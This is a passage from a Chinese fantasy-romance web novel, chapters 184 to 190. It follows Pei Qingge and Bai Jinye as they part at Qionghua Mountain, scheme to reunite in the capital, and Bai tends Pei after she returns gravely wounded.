但裴清歌依旧能感觉到他在盯着她,她又继续道,“若是当年你父皇把皇位留给了你,你大概也得为了平衡朝堂势力填充后宫,又哪来那么多喜欢和不喜欢?” “我不会像张明彻一样,为了延续血脉伤害自己喜欢的人。”白锦夜拧起眉。 “但这终究是你的使命,我可以帮你,但没人能替代你。”裴清歌开口道。 “不。”白锦夜摇了摇头,凑到裴清歌身边,微微起身,垂眼看着她,“我不会。” “可就只有你一人了。”裴清歌叹了口气。 “那我就努力的活下去。”白锦夜微微抿了抿唇。 “可这样一来,就承受不起一丁点的意外。”裴清歌皱起眉,“你不能拿着天下人的命运跟你一起赌。” “那为什么我们不想想办法?”白锦夜说着手落在裴清歌的小腹上,“万一你可以怀上我的孩子呢?” “白锦夜!”裴清歌抓住他的手腕,“你别……” 她的话还没说完,白锦夜的唇就落在她的唇上。 裴清歌猛地瞪大眼睛,脑袋里空白了半响,才回过神来,一把推开白锦夜,“你过分了!” “我……”白锦夜还要说什么,可却感觉裴清歌的手在他的脸上抹了一把,他瞬间就睡了过去。 裴清歌坐在床角,咬着嘴唇,手在身前紧紧地交叉握在一起。 记忆里,虽然有洞房那晚和白锦夜亲密的片段,但终归不是她自己亲身体会,她也没想过白锦夜会真的如此大胆,对她做这样的事情。 她瞪着黑暗里白锦夜的轮廓,心脏狂跳了半响,都没办法平静下来。 她就这样一直坐到天都快亮了,才歪着头迷迷糊糊地睡了过去。 白锦夜醒来的时候,就见到裴清歌靠坐在床角,蜷缩地睡着,他皱起眉,想过去把她抱过来换个舒服的姿势睡,可手指刚碰到她,她就一下子惊醒了,随即快速地躲开他的手,“你这样睡不舒服。”他收回手低声道。 裴清歌看着他没有说话。 白锦夜叹了口气,才道,“你睡吧,我睡好了,出去走走。” 裴清歌依旧没有说话也没有动。 白锦夜只好先起身离开,出了门,时间也还早,他一个男子在庵里也确实多有不便,于是便打算沿着净明昨晚带他们走的路去那亭子里坐一会。 可刚走没几步,就听到正院里又大喊的声音传来,他脚步顿了顿,朝正院走过去。 外面的声音一下子嘈杂起来,裴清歌也无心再睡下去,简单的洗漱下,也去了前院。 到了前院,才知道,大概就是昨晚夜深人静之后,妙清师太杀了赵澎,然后自尽了。 这一点,裴清歌不太意外,昨天她见到这两个人的时候,就见到他们印堂发黑,死期也就是这几天的事。 主持师太自尽,在庵里是大事,很快便有师太到了白锦夜和裴清歌的面前,客客气气的请他们离开。 眼下他们自然是没办法再留了。 听闻他们要离开,净明师太着人送来了名单,但自己却并没有出现。 “若想去道别,就去找她说两句吧。”裴清歌开口说了句。 “算了。”白锦夜摇了摇头,跟裴清歌一起出了正门。 师太在他们身后快速地关上了门。 白锦夜转头看了看琼华庵,沉默了会,才看向裴清歌问,“我们现在去哪?” 裴清歌往前走了几步,在一颗树下站定,抬眼看着枯树枝,隔了会才说,“我们就在这分开吧,你留在琼华山,去找你家族的旧址。我去西夜国找鬼卿,然后去找‘神阵公’的后人。” 白锦夜看着她,“因为我昨晚亲了你?” “是啊。”裴清歌也没有不承认,“有第一次就有第二次,得寸就会进尺。” “我们不是约定了三年之期?”白锦夜拧起眉。 “那时候还不知道关于你们血脉延续的细节。”裴清歌从枯枝上收回目光,看向白锦夜,“现在知道了,三年之期就没必要继续了,况且……我也不是什么说过的话就一定要算数的人。” “若是你的血莲再疼呢?”白锦夜又问。 “那是我的事,与你无关。”裴清歌收回目光,转身要离开。 “怎么就与我无关?”白锦夜跟上去,“我不管,我就跟着你。” “你成熟一点,想想净明师太,想想张明彻。”裴清歌继续往前走。 白锦夜一把拉住她的胳膊,“我不是张明彻,也不会让你成为净明师太。” 第185章 你害怕自己会喜欢上我么? “我本来也不会成为净明师太,她喜欢张明彻,但我不会有这样的感情。”裴清歌抬眼看着白锦夜,“我不可能会喜欢你。” “那你怕什么?”白锦夜也看着她,“你既然知道你自己没有这样的感情,你既然知道无论如何你都不会喜欢我,为什么害怕我跟着你?” “我只是不希望你在我身上浪费时间。”裴清歌蹙起眉头。 “只要我不死,我不是有很多时间可以浪费?”白锦夜轻笑了一声,“还是说,那些什么断了七情六欲的话根本就是假的,圣女也会动心,你们只是遵循着规矩,不去接近任何人,也不准任何人接近你们。没有机会,当然就不会有情欲。所以你害怕自己会喜欢上我,是么?” “白锦夜,你别……太自我感觉良好了。”裴清歌冷着脸,“我没有什么感情可以用在你身上。” “那就证明给我看。”白锦夜看着她,“就证明,即便我在你身边呆一辈子,即便我对你比任何人都好,即便我心仪你宠你,什么都愿意为你做,哪怕连命都可以不要,你也一点都不会感动,也永远都不会喜欢我。” “你真愿意跟着我,就别后悔。”裴清歌的手微微握成拳,“如果找到了‘神阵公’的后人,只要对方愿意,就算不给你下药,我也能控制你跟她在一起。” 白锦夜神色一凛,“裴清歌,你还真是没有心。” “你早就该知道。”裴清歌说着把自己的胳膊抽回来,“话已经说到这了,你要是愿意跟着我,那你就跟着。” “那我就看看,到时候你是不是真的舍得把我拱手让人。”白锦夜眯了眯眼,盯着裴清歌的后背。 裴清歌的脚步停了下来。 白锦夜以为是自己这句话触动了她,唇角微微勾了勾,“怎么?想了想,觉得不舍得了?” “不。”裴清歌转过身往山上走,“我只是想起暂时不能下山,要等过了中午再下山。” 白锦夜,“……” * 午时过去,左辞终于停下来走来走去的脚步,转头看向楚星玄和冷鸢,“咱们走吧。” “不走。”冷鸢动也不动,“小姐不下山,我哪也不去。” “这可不是我们少爷交代的,这是夫人交代的。”左辞看着她,“你非要留在这给夫人添堵?” “那也总得去山上看看,万一他们需要帮忙呢?”冷鸢拧了拧眉。 “若是他们俩加在一起还遇到危险,那我们去了也是白送。”楚星玄开口道,随即又看向左辞,“但我们如果走了,又去哪呢?” “去并州的西河城。”左辞开口道,“夫人曾经交代过鬼卿,从西夜国回来后,就去西河城等着,她忙完手上的事,就会去西河城跟他汇合,所以少爷也跟我们说,将来若是哪一日迫不得已分路走,最后也都去西河城。” 让鬼卿办完事去西河城的事,冷鸢是知道的,她微微皱了下眉,扫了楚星玄一眼,沉默了下来,没再说话。 “西河城……”楚星玄低声念叨了一声,半响后,唇角勾起一抹若有若无的笑,眼底闪过一抹不明神色,“好,那我们就去西河城。” * 宫中的这个新年,并不好过。 本来宫里已经是一片张灯结彩的模样,可自从黄恒之从复州回来,跟白砺寒汇报了复州的事情之后,白砺寒的脸色就没有好过。 肃亲王死了,张之极突然认了个“干孙子”来继承家业,这“干孙子”好巧不巧,就叫“张璟成”。 白锦夜是生怕他这个做皇兄的不知道他的字是什么? 这“张璟成”分明就是白锦夜! 他一点都不避讳的直接用这个名字,显然就是在告诉他,肃亲王死了,但白锦夜没有死。 他分明就是不想让他痛痛快快,就是想让他如鲠在喉! 可如今,肃亲王已死的告示,是他亲手所发,赦免肃亲王之前意图谋反罪名的诏书也是他亲手盖了章,此后肃亲王的亲属都不再入朝为官,他也不会再追究肃亲王亲属的话也都写在了诏书里。 他就算想要追究,那也不是眼下。 也要等大家差不多忘了这件事的时候,找个不起眼的理由,找个不起眼的机会,再去追究相关人员。 道理他都懂,但他此刻就是气不过。 气得连年都不想过! 皇上心情不好,这宫中的人就都噤如寒蝉。 皇后云月宁那边也听说了这件事,“张璟成……璟成……”她低笑了一声,“他果然没死。”说完便看向身边的管事嬷嬷,“嬷嬷,今年给宫人的红封都包得大些,就按照去年的双倍来封吧。” “是。”管事嬷嬷应了一声退下了。 云月宁从妆奁中抽出一支凤钗,轻轻地插在头上,眼角眉梢都带着几丝喜意。 * 裴清歌在山上转了一会,拿出铜板,让白锦夜摇了一卦。 卦象显示他们要找的方位在西北。 站起身,裴清歌往西北的方向看过去,那边就是延绵的大山,一望无际。 “琼华山是一片山脉。”白锦夜顺着她的目光看过去,开口解释,“后面那一片都人迹罕见,基本不会有人去,听说山脉之中危机四伏,而这山脉也就恰好成了西夜国和天风国之间的屏障。” “这片山脉的主峰基本都在雍州和益州,往两侧延伸至并州和荆州,不过并州和荆州都是极小的一部分,不成天险。所以雍州和益州虽然也和西夜国接壤,但是却不需要多少守军,因为双方都没有办法翻越琼华山。” “不过在这山脚下,应该会有一些采药的药农和打猎的人往深山里面去,或许会知道路或者里面的情形。不然如果只是我们两个进山,尤其是在冬天,恐怕太危险。” “这往里面去找,恐怕不是一天两天的事。”裴清歌开口道,“而且一旦进去,就相当于和外界失联,无论外面发生什么事我们都不知道,也顾不上,就算去找你家的旧址,也得从长计议。” “况且,眼下要处理的事情也不少。”她轻轻地叹了一口气,只恨自己分身乏术。 “你可以用遣鬼一类的方式去搜寻么?”白锦夜开口问道。 “可以是可以,但是范围有限。”裴清歌找了个地方坐下,“再说,‘神阵公’的后人尚且会些术法,你那一族人不可能什么都不会,他们但凡用上一些简单的障眼法,遣鬼是没办法发现的。” 说完她也不再说话,找了个树枝,在雪地上写写画画,等过了午时,便站起身,把写写画画的痕迹全都清除掉,起身往山下走,“走吧,过完年再说。” 第186章 我一直在给别人铺路 到了客栈的时候,左辞他们三人果然都已经离开了。 左辞给白锦夜留了暗号,说他们启程去西河城。 裴清歌在客栈里转了一圈,最后看向白锦夜,“你会下厨么?” 这些日子,都是冷鸢下厨,吃穿用度也都有左辞张罗,现在只剩下他们两个,差不多就是大眼瞪小眼了。 西慈县不是什么大县,所以除夕一到,县上的店铺就都关了门。 白锦夜轻咳了声,“在军营里的时候,倒是煮过面,不过味道不怎么样,那会基本上只是熟了就可以。” “熟了就行。”裴清歌也不挑食,一边往房间走,一边说,“那你做好了叫我。” 早饭都没吃,就被琼华庵请了出来,又在山上逛了大半天,裴清歌早就饿了,好在房间的桌子上还有几块干粮,她就着茶水吃了块,就铺开纸,继续她在山上写写画画的结果往下推算。 差不多半个时辰后,白锦夜才端着两碗清汤面进了门,“来吃吧。” “嗯。”裴清歌放下笔,脸色不算是太好。 白锦夜往纸上看了一眼,“你在写什么?” “师父曾经教过我推演之法,可以推演后事。”裴清歌走到桌边坐下,“要比算卦复杂一些,圣女用推演之法主要是预测北冥国的国运,差不多每十年要推演一次。但在北冥国有专门的工具、阵法和特定的地点,推演起来没有那么麻烦。” 她说着顿了顿,“算起来,师父失踪的那一年,应该正是她推演北冥国国运不久之后。但是推演的结果,只有她和国君知道。师父失踪后,前几年可能只是在布局,但真正开始,应该是从把我引出北冥国开始。有可能,跟北冥国的运势相关,前五年,北冥国的运势旺盛,但从今年开始,运势下滑,她也就开始动手了。” “不过这种事也不是短时间能算出来的,师父那次和国君一起去了三个月才回来。”裴清歌拿起筷子,低头吃了一口面。 白锦夜看着她的动作,脸上微微有些紧张,才问,“味道怎么样?” 裴清歌脸上也没有太多表情,“不是熟了就可以么?” 白锦夜有些尴尬,确实是熟了就可以,但是他也尝试了好几次,最后这一次他觉得相比前几次,味道已经算是不错了。 “让你一个堂堂王爷下厨,已经很为难你了。”裴清歌说着顿了下,“况且我确实不挑食,熟了能吃就行。” 白锦夜也没再说话,低头默默地吃饭。 之后的几天,裴清歌每一天从早到晚都在推演,白锦夜做好饭,她迅速地吃饱,就继续去写写画画。 本来白锦夜还想着,这怎么也是他们婚后第一个新年,虽然在西慈县这个小县城,但也应该好好庆祝下,比如出去看看烟火,一起守岁什么的,但裴清歌似乎好像完全不在意这些,眼里只有她写写画画的那些纸。 几天下来,已经写了一摞纸。 一直到初六的晚上,裴清歌吃饭吃到一半,才想起什么,看向白锦夜,“你这几天厨艺有进步啊。” 白锦夜神态窘迫,“客栈要开始营业做生意了,厨子回来了。” “哦。”裴清歌了然地点了点头,又道,“这几天辛苦你了。” “你为什么对我总是一副……”白锦夜说着顿了顿,“算了,吃吧。” 对他客客气气的,也总好过每天都想要赶他走。 吃完饭,裴清歌才开口道,“我现在没办法推演得太详细,只能算个大概,另外我今天也起了卦,问了几件事,比如去找你们家的旧址,去找我师父,解决瘟神蜮这些,每一件事都不顺利,确切的说,按照卦象显示,每一件事都办不成。但是卦象错综复杂间,又都指向一个地方,那就是盛京。” 说到这,她也想不明白,“难道要再回盛京么?” “你师父当时也在盛京停留了些日子,而且她把你安置到盛京,是不是有什么别的用意?”白锦夜开口问道。 裴清歌有些烦躁,她的生活一直按部就班,从小被选为圣女候选人,一路奔着圣女的位置努力,做了圣女之后,所有的一切也都是被安排好的。 但现在,所有的事情都被打乱了。 就算以前她做圣女的时候,可能帮着国君做了一些不好的事情,但起码那个时候,在她的心里,一切事情的核心都是围绕北冥国和国君。 现在呢? 她转头看向白锦夜,保护“神冥公”的血脉? 白锦夜轻轻皱了下眉头,“最近发生这么多事,你也做了很多了,如果太累,不如先休息休息。”他说着顿了顿,“我这些年南征北战,偶尔也想停下来好好看看这锦绣河山。” “你知道那天楚星玄跟我说什么么?”裴清歌突然转移了话题。 白锦夜想起,之前能从北冥国出来,楚星玄的爹帮了不少忙,一开始裴清歌对楚星玄跟着他们的事情也没有反感,但是就在他们去琼华庵之前,楚星玄跟裴清歌聊天之后,她突然生了些戒心。 “他跟我说,我们好像一直生活在一个巨大的骗局之中。”裴清歌微微眯了眯眼,“我这几天,仔细的想过从我重生到现在的事情,我觉得我走的路,一直都是有人布局好的。” “我从会算卦那日开始,每天清晨起来,第一件事就是给自己起一卦,但是这么多年以来,我从来都是问吉凶,不问具体的事情。” “在今天之前,只破例过一次,就是当时在月城的时候,问你应劫的日期。这个人知道我给自己起卦从来不问事只问吉凶,所以我遇到的事情,虽然有过凶险,但都不足以致命。只要卦象的结果显示最终会化险为夷,我对这一天发生的事情都不会太过在意。” “所以他引着我发现张太妃,引着我入宫,发现和月如,知道师父的踪迹,把我引到洪都,引起我对西夜国的好奇,引我见过裴姝,借裴姝之口,让我知道了一些我本来不知道的事情。” “当我知道了一部分,想要探寻真相,就不得不回到一切问题的起始点——北冥国,去找答案。如果我早一点回北冥国,可能给国君续命的人就是我了,那个人大概也是想到了这一点,所以提前放出枯尸来拖住我的脚步。” “如果不回到北冥国,我就不会看到那些虚空玉,也不会把你变成冥尸。就没办法通过血脉之说,引着我来寻找你的身世,再去找你家里的旧址。” “若是我不破例,依旧只问吉凶,我还是只会算出去找旧址的路上有凶险,但都能化解。可我今天偏偏破了例,问了事情的结果。” “这让我知道,我眼下追寻的所有事情,根本不会有结果!” “我一直都在给别人做嫁衣,我一直都在帮他们铺路!” 第187章 我在盛京等你 “就算对方再了解你,也不可能真的完全算计好你要走的每一步路,除非他在你身边,安插了什么人。”白锦夜沉默了一会开口道。 裴清歌垂下眼,她心中隐隐的有了猜测,但目前还没有完全确认,所以也就没有说出来,隔了会她继续道,“对方如今把我们引到琼华山,让我们知道了你家里的旧址就在琼华山,无非是想要我们把这个地方找出来。” 白锦夜点点头,“他如果明知道这些事,但是却不自己去找,只有一种可能,就是他们没办法找到。” “是。”裴清歌眯了眯眼,“大概率需要靠有血脉的后人来找。”她说着轻笑了一声,“我们明天就准备东西进山。” “不回盛京了?还是按照他们希望的继续往前走?”白锦夜问道。 “现在只有你和我两个人。”裴清歌看着他,“到了山里,行踪就没那么好掌握,我们到时候易容换条路下山,再回盛京。”她说着敲了敲桌子,打定了主意。 “回去之后,去查三姨母给的名单上的人么?”白锦夜说完又否定自己,“但是如果你推测的这些都是真的,他可能也正希望你去查这些人呢。” “是的。”裴清歌点点头,“我一旦发现噬魂钉,就会去追查,所以可能也是他的安排。但回去都回去了,也不可能什么都不做。”顿了顿,她问,“你在京中,还有能使唤的人么?没有暴露过的那种。” “有。”白锦夜点头。 “你先联系他,让他去把当年张明彻住的宅子买下来,装修得奢华一些,然后你一个人,就装作是要来京城做生意。”裴清歌说着想了想,“算算日子,大米商梁鸿应该死期将近了,你正好把他的生意接过来,行事作风,都一定要和原来的肃亲王区分开来。我再把你身上冥尸的气息掩盖掉,易容之后,短时间内都不会被人发现。” “那你呢?”白锦夜赶紧问。 “我还是左辞的表弟。”裴清歌笑了笑,“如果对方一直都知道我的身份,那也应该知道左辞的表弟也是我。我们一起进了山,而之后的一段时间,只有我一个人出现在盛京,你说他会怎么想?” “要么他觉得我们找到了旧址,你留在了旧址,那地方若是别人找不到的话,对你来说就是最安全的地方,所以你没有出来。要么就还是我们找到了旧址,在旧址里发现了什么,最后意见不合,分道扬镳。” “不行。”白锦夜摇了摇头,“这相当于让他失去了我的行踪,他就只能朝着你来,你会有危险。” “舍不得孩子套不着狼。”裴清歌摊了摊手,“你还有更好的办法么?我们得想办法逼他现身,如果是朋友,目的一致就合作,如果不是,那也能尽快反客为主。不过反正我们都在盛京,有什么消息,也能及时互相传递。” “不过到时候我们也最好少见面。”她想了想,“暂定每五天找个地方碰面,一定得是很隐蔽的地方,而且也得时常变动。” “我们进山之后,你就先回去,一个月后,我再到盛京。等我的挂摊重新开张,你肯定也会听说,反正梁鸿去我那里算过卦,到时候你找个借口先去挂摊找我,我们碰个头,之后再说下一步。” 白锦夜抿唇看着裴清歌没有说话。 “怎么了?”看着他的表情,裴清歌忍不住开口问道。 “你说的这些,是真的吧?”顿了顿白锦夜又补充,“不会只是先把我诓骗回盛京,到时候你去哪我都不知道了。” 裴清歌的表情有点无奈,“我至于在这种事上骗你么?” 白锦夜没有说话,但是表情显然是认为裴清歌为了扔下他,绝对会不择手段。 “一个月后,盛京见。”裴清歌也没有过多的解释。 “你不骗我?”白锦夜又确认道。 “白锦夜,你现在可一点都不像那个杀伐果断的肃亲王了。”裴清歌站起身,伸了个懒腰,“别啰嗦了,咱们先去买明天要进山的东西吧。” 东西买了很多,最开始还能用手提着,最后干脆雇了个车,车上都堆满了。 又买了三匹马,因为除了两个人的马根本带不下这么多东西,只能有另外一匹马单独用来驼东西。 第二天一早,跟客栈老板算好了帐,两个人就进了山。 冬天进山的日子不太好过,但好在白锦夜有过冬天行军的经验,晚上住宿倒也不是问题。 往山里走了三天,又在原地停了一天,第五天一早,裴清歌给白锦夜易了容,又掩盖了他身上的冥尸气息,就让他带上自己的东西分开走。 白锦夜整理好东西,又有些迟疑,转头看向裴清歌,“你说你一个月后再回去,那这一个月,你去哪里?” “我在山里再转几天,过几天下了山,在山下的县城里随便找个地方都能呆上一段日子。”裴清歌看着他,“你不用担心我。” “你在山里呆过?”白锦夜又问。 裴清歌摇了摇头。 白锦夜轻轻叹了口气,抬手拍了拍马背,又回到她面前,“这山里呆着,没你想的那么容易。” 随即他把从生火到宿营,到辨认方向、保暖、取水,辨认动物脚印等等能想到的,全都仔仔细细地叮嘱了一遍,“尤其是如果遇到狼和野猪的话,一定要避开。其他的动物,老虎也好,熊也好,都是单独行动,以你的身手,问题不大。但是狼和野猪都是成群活动,被它们盯上就麻烦了。” “好,我记下了。”裴清歌点点头。 犹豫了会,白锦夜又把凌迟刀拿出来递给她,“我见你也没用过什么兵器,不如你拿着这个防身。” 裴清歌没有接,“还是你留着防身吧。” “那你若是遇到危险,用什么武器?”白锦夜皱了下眉。 裴清歌看了他会,才从袖袋里拿出锁魂玉笛,她四下看了看,也没见到什么活物,于是就看向身边的三匹马,拿着笛子吹了几声,白锦夜什么都没听见,但三匹马却老老实实地原地跪趴下,一动也不动。 她把笛子在手里转了转,“只要是有灵魂的,无论是人还是动物,我都可以控制。” “那倒是我多虑了。”白锦夜叹了口气,确实,他与其担心裴清歌,不如多担心担心自己。 看着他略微有些窘迫的模样,裴清歌笑了笑,“知道你是好意,行了,快走吧,一个月后见。” 白锦夜收起凌迟刀,站了会,才上前一步,抬手抱了抱裴清歌,“我在盛京等你。” 第188章 梁鸿的报应 白锦夜沿着山脉往南走,到了并州境内才下山进了城。 找了个客栈洗漱一番,换了身衣服,换了辆豪华的马车,往盛京走。 等他进京的时候,榆北已经买下了原来的张府,并且极尽奢华的改装了一遍。 甚至于榆北花钱花得都有点害怕,他拿着账单,恭恭敬敬地站在白锦夜的面前,“主子,这是这一次的重新装修张府,又买了不少文玩古物的账单,一共花了……十七万两。” 谁都知道白锦夜向来简朴,吃穿用度只要够用就好,什么时候这样浪费过? 所以他在收到白锦夜的指令之后,反反复复地看了好几次,又琢磨了几天,才狠下心来花钱。 本来司空处理好京中事务之后,是要带着钱财去跟白锦夜汇合的,但这样一来,就直接把钱财交给榆北保管,司空自己带人拉了几辆空空的马车往复州的方向去了。 “让你查梁鸿的事,怎么样了?”白锦夜看也没看账单一眼,直接开口问道。 “这梁鸿最近好像很倒霉,先是屯粮的粮仓不知怎么的起了火,烧了不少粮,救火的时候,水又把剩下的粮都泡了,以致于不少粮食发霉,他一开始想要以次充好卖出去,但却被人发现告到官府,罚了不少钱。” “之后他只能重新购入新粮,出去谈生意回来的路上,马惊了,他被从马车里甩出去,摔断了腿。现在虽然新粮到了,可也没什么人愿意去他那买粮了,哪怕同样的粮食,他已经比其他人便宜三成了,但还是没人买。” 榆北赶紧把最近查到的事情逐一汇报,“据说这只是比较大的事,像是吃饭吃到砂子崩掉一颗牙一类的倒霉事,数不胜数。现在梁鸿已经派人守在普宁街那,说只要普宁街的挂摊一开业,他就要立刻找那位算卦的帮他去去霉运。” 白锦夜想着裴清歌说梁鸿的寿命快到了,显然是运势下滑,之前做过那么多伤天害理的事情,那些冤魂是找上来了。 他在京中呆了两日,便找上了梁鸿,说自己经年在外地做生意,如今来了盛京,想要接盘梁鸿的大米生意。 梁鸿第一反应自然是拒绝,梁家这大米生意传了几代,到他这里,几乎就垄断了盛京这一代的大米生意。 其他人虽然开米面铺,但也都是小打小闹,赚不上什么钱。 他甚至已经可以完全操控盛京的米价。 生意做到这份上,哪有轻易转手的? 于是白锦夜帮他算了个帐,他现在每天都在亏钱,越早转手,越早止损,不然再过几个月,就真的伤筋动骨了。 若是以前有人来跟梁鸿说这个话,他可能是要动手了,但以眼前的情况来看,他竟然觉得白锦夜说的很有道理。 他也不知道这到底是怎么了,最近他的米价一降再降,哪怕是最好的精米,都没人来买了。 而且就因为他降价,这盛京其他的米面铺子都开始从他这进货了,那些米面铺子转手就可以赚三成的利润,而他就要赔掉成本的两成。 米都是新米,现在不卖,明年就成了陈米,陈米又不可能再卖新米的价格。 他如果不卖是赔钱,卖了,也赔。 这一切的起因,都是库房的那次大火。 梁鸿总是觉得那场大火有蹊跷,可官府的人也查过了,就是意外失火,他只能怪自己运气不好,就一心想着等普宁街那位活神仙回来,赶紧帮他处理下。 白锦夜也好心提醒,普宁街的那位,可是肃亲王府总管的表弟,肃亲王府出事后,那店铺就关了,显然人家是不愿意在京城之中掺和这些事,反正本事在身,去哪里开店不是开?所以估摸着是不可能回来了。 他也不着急,就让梁鸿好好想想,但也提前说清楚,再过段时间,可就不是眼下的价格了。 这么大的事,梁鸿也不敢一个人做主,于是便说要回家跟梁家的长辈们商量商量。 可没想到,当天晚上,守仓库的人就来禀告,说在一个粮仓里发现了老鼠屎,开仓看了下,老鼠几乎成灾,这仓粮是完了,价格肯定又要降。 而且这老鼠要是杀不绝,其他的粮仓肯定也要跟着一起遭殃。 梁鸿知道,现在这事就只有守仓库的人知道,可过几天要是传出去,确实就像是白锦夜说的那样,不可能再有今天这样的价格了。 于是他第二天一大早,就赶紧去找白锦夜,签订契书,把自己在京中跟粮食相关的产业全都转让。 白锦夜照单全收。 梁鸿也总算松了一口气,也没有拒绝白锦夜希望他带着他走走门路的要求。 接下来的几天,白锦夜的人盘点生意,梁鸿则是带着他在盛京里见各种达官显贵。 以前白锦夜也不会来了解这些,不过现在才知道,想要做个生意,原来要打点这么多人。 好在有梁鸿引荐,又是接手梁鸿的生意,那些人收了贵重的见面礼,也没有为难什么。 若是普通人想要做点生意,恐怕真是难上加难。 这些都梳理完,已经是半个月之后了。 说也奇怪,生意到了白锦夜的手上,一下子就转好,甚至比之前还要红火。 而梁鸿那边连眼红的力气都没有,听说是他卧房的房梁断了,房子塌了一半,他被下人救出来的时候,就剩下半条命了。 梁家的人到了他这一代,能把生意撑起来的,也就梁鸿一个,如今梁鸿半死不活地躺在床上,梁家人都极为庆幸他在出事之前,把生意转让了。 白锦夜做了生意,跟他来往的人也就多了起来,除了些做其他生意的人,就连衡王都找人来跟白锦夜接触了几次。 他以前就知道梁鸿是白玉衡的人,梁鸿变卖生意,自己又是这副样子,白玉衡自然也知道他指望不上什么了,所以也隐晦的暗示了白锦夜。 白锦夜对这些根本不感兴趣,生意有人打理,他就是一心等着裴清歌回来。 而且算算日子,裴清歌应该也快到盛京了。 所以除了梁鸿的人守在普宁街以外,白锦夜的人也开始盯着普宁街。 但盯了将近一个月,普宁街也一点动静都没有。 白锦夜开始的时候还安慰自己,这路途遥远,时间也没办法把控,裴清歌晚到一些日子也很正常。 可是约定的时间过去得越来越久,白锦夜也开始有点慌了,难道裴清歌就真的是骗他,把他骗回盛京,自己根本不打算回来么? 甚至于梁鸿再也没有等到他心心念念的神算,就一命呼呜了。 守在普宁街的,就剩下白锦夜的人。 一直到了四月初,距离约定的时间过去了将近两个月,守在普宁街的人才终于来禀告,“主子,普宁街那家店,有人进去了!” 第189章 只要有血莲,就能吊着她这口气 白锦夜对此,已经快要失望了,他甚至都确定裴清歌就是在骗自己了。 一直到听到这个消息的时候,悬着的心才终于放下来。 他起身往外走了几步,下意识地就想要去普宁街见裴清歌,但走到门口,又停了下来。 反正裴清歌既然回来,估摸着过几日就要开业了,那会他再去,也会顺理成章一些。 不管怎么说,人只要回来就好。 可白锦夜足足等了三天,普宁街那边都没有一点动静,盯着的人说,那天那个人进去之后,就没有再出来过,甚至连灯都没有点过。 白锦夜隐隐地觉得哪里不对,也有可能……他只是白高兴一场,来的人根本不是裴清歌。 当天夜里,趁着夜色浓,他换了夜行衣,摸进了普宁街的店铺。 这铺子里几个月没人打理,已经落了厚厚的一层灰。 借着月光,白锦夜清晰地看到楼梯上的灰尘上,有两行脚印,那脚印只是上了楼,却没有下楼。 看着脚印的大小,应该是个女子。 他抿了抿唇,悄声摸上了二楼。 脚印在房间门口停了下来,白锦夜的手微微握成拳,隔了会才松开,站在门边,抬手推开门。 门开后,他半响没动,房间里也没什么动静,而且房间里昏暗,不太能看清全貌。 他摸出凌迟刀,吸了一口气,迈进了房间。 房间里,地上的脚印依旧是两行,直接奔着床边,床上也确实像是躺个人的样子。 白锦夜咽了口口水,出了声,“是你么?” 床上的人没动。 白锦夜犹豫了下,才慢慢地走过去,直到他走到床边,床上的人都没什么反应。 他慢慢地伸过手,抓住她的肩膀,想要扳过她的身体。 但是他一动,像是碰疼了她,她低声哼了一声,也依旧没有别的反应。 不过这轻微的哼声,也让白锦夜确认了,眼前的人,就是裴清歌。 他收回手,从桌上拿起油灯点燃,又回到床边,看着床上的人,她的衣服上有血迹,不过早已经干涸,脸颊微红又有些发烫,显然是在发烧。 白锦夜把油灯放在床边,抬手把裴清歌扶起来靠在他身上,低声叫她的名字,叫了好几声之后,她才微微地睁开眼睛,但也就睁开片刻,甚至都没来得及把目光对准他的脸,就又重新闭上了。 他也顾不得那么多,抱起裴清歌,走了两步,又想起什么,转身回去熄了油灯,迅速的下楼回了府上。 把裴清歌带回房,他也赶紧叫人去请了大夫。 他站在床边微微犹豫了下,才伸手帮她脱掉沾满血污的衣服。 她身上的伤口包扎过,已经止了血,也在愈合,但身前身后各有一处极长的刀伤,大概受伤之时伤口更为狰狞。 白锦夜用温水洗了帕子,帮她擦掉了身上的血污。 她之前用来控制魂魄的笛子被她攥在手心,他想要把笛子拿出来,但她即便昏迷也还是死死地攥着,他只能放弃。 清理好血污,又重新包扎了伤口,换了干净的衣服,大夫才姗姗来迟。 他上前给裴清歌诊了脉,说是身体太虚弱,在发烧,又像是耽搁了许多天,这情况怕是不太好。 但还是开了两副方子,说如果裴清歌能把药喝下去,一天之内有退烧的迹象,就会好办些。 白锦夜知道为难大夫也没用,就赶紧让人按照方子去熬药。 药送过来,可却怎么都没办法喂裴清歌吃下,药进了嘴里,就直接流出来。 白锦夜急得不行,但着急也没用。 榆北站在一边,看着都有点手忙脚乱的白锦夜,大概也猜到这床上的女子是谁了。 以前他就听左辞讲过,但是他们是白锦夜的暗线,没有白锦夜的命令,根本不会出现,所以很多事情,都只能听愿意跟他们讲八卦的左辞说。 他犹豫了会,才试探地问道,“主子,要不……你用嘴试试?” 白锦夜转头看他。 “就是用嘴喂她喝。”榆北说完这句,脸一下子就红了,虽然他比左辞有出息,前两年就成亲了,但是这种事直接说出来,也还是挺让人害羞的。 “你先出去吧。”白锦夜拧了下眉,开口道。 “是。”榆北点点头,心想左辞说的果然是没错,王爷就是……暗搓搓的喜欢王妃,但是又不敢表现出来,他转身离开,还贴心的轻轻地关上门。 白锦夜盯着碗里的药看了会,才喝了一口含在嘴里,重新扶起裴清歌。 在他的努力之下,一碗药,总算是喂进了一少半,他让人又去熬了药,整晚都守在床边,按照大夫的叮嘱,每隔一个时辰,就少少的喂一些药,再不断的用酒和泡了冰水的布巾帮裴清歌降温。 到第二天傍晚,裴清歌的烧才终于退了些。 虽然额头还是烫,可起码要比前一天晚上好多了。 只不过裴清歌还是没有醒,除了喂药之外,白锦夜又喂她喝了些粥。 一直到第四天的中午,裴清歌才终于转醒,她有些茫然地看着周围,好像一时之间还没弄清楚状况。 白锦夜也是刚刚去匆忙地吃了口饭,回来就见到裴清歌在打量着周围,于是立刻走过去,“你醒了。” 裴清歌点点头,她整个人都瘦了一大圈,身体也虚弱得不行,想要说话,可张了张嘴,气息都不太够用。 “醒了就好,你伤得太重,其他的先不要管,养好伤再说。”白锦夜又道。 裴清歌这一次眨了眨眼睛,就算是点头了,隔了会,她又费力地抬起手,指了指自己的肩膀。 “血莲?”白锦夜顺着她的手指看过去,开口问道,“要吸血么?” 裴清歌又微微地点了头。 白锦夜便扶起她,割破了自己的手,然后把掌心按在了血莲上。 裴清歌确实伤得不轻,若是换了普通人,大概也就死了,好在有血莲,这一点她师父说的倒确实是真的,只要有血莲在,就能吊着她这口气。 她到普宁街店铺之后,就失去了意识,虽然不知道白锦夜是什么时候发现的她,但是在白锦夜发现她之前,就几乎完全是靠血莲保着她的命了。 第190章 